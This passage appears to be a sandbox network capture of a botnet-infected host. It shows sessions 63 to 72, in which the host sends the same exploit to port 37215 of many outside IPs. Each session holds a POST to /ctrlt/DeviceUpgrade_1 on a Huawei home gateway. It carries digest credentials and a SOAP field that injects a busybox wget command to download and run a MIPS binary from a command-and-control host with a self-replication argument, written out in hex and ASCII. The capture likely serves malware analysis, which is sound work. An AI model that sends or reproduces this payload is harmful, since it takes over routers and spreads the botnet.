73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	44164	41.22.53.118	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.310179949 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	52322	197.225.45.137	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.310981989 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	43156	156.168.50.185	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.311794996 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	41946	197.119.54.124	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.312530041 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	48066	41.166.104.120	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.313292027 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	42858	156.45.220.1	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.314069986 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	50466	156.207.157.252	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.314929962 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	44442	156.133.111.128	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.315783024 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	41086	41.213.232.198	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.316453934 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	51050	197.44.49.39	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.317229033 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 